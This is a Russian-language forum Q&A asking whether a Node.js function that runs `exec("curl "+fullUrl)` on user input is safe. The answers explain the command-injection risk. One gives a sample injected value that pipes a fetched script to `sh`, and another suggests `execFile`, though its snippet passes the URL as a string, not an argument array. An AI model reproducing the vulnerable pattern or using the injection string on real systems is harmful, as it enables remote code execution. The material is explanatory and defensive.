Защита командной строки node.js exec на сервере Linux (Ubuntu) - PullRequest
0 голосов
/ 23 декабря 2018

Пример кодов, которые будут выполнять командную строку из Node.js.Он вернет полный HTML-код страницы.

const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
return new Promise((resolve, reject) => {
    try {
        const exec = require('child_process').exec
        exec("curl "+fullUrl, (err, stdout, stderr) => resolve(stdout))
    } catch (error) {
        resolve(false)
    }
});
}
  1. Этот код может быть небезопасным?Я имею в виду, что хакеры могут ввести другую команду для манипулирования системой или сервером?

  2. Если да , есть хороший способ избежать этого или сделать его безопасным?

Ответы [ 2 ]

0 голосов
/ 23 декабря 2018

Не используйте child_process.exec().Умная созданная строка из пользовательского ввода запустит произвольный код из вашей программы, которого вы действительно хотите избежать.

Вместо этого используйте child_process.execFile() следующим образом:

const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page

return new Promise((resolve, reject) => {
    try {
        const execFile = require('child_process').execFile
        execFile("/path/to/curl", fullUrl, (err, stdout, stderr) => resolve(stdout))
    } catch (error) {
        resolve(false)
    }
});
}

execFile занимаетпредварительно проанализированный список команд и не запускает промежуточную оболочку, поэтому меньше риск запуска программы по ненадежному URL.

См. также

child_process.execFile

0 голосов
/ 23 декабря 2018

Если пользователь пишет сценарий и ставит его на http://blahblah.blah/b, а вместо этого URL он предоставляет сложный код: http://blahblah.blah/b | sh, теперь ваш код создаст процесс и выполнит curl http://blahblah.blah/b | sh.и сценарий может быть чем угодно.Вам следует учесть одну вещь: чтобы проверить вводимый пользователем URL-адрес, убедитесь, что он не содержит лишних команд и является единственным URL.

...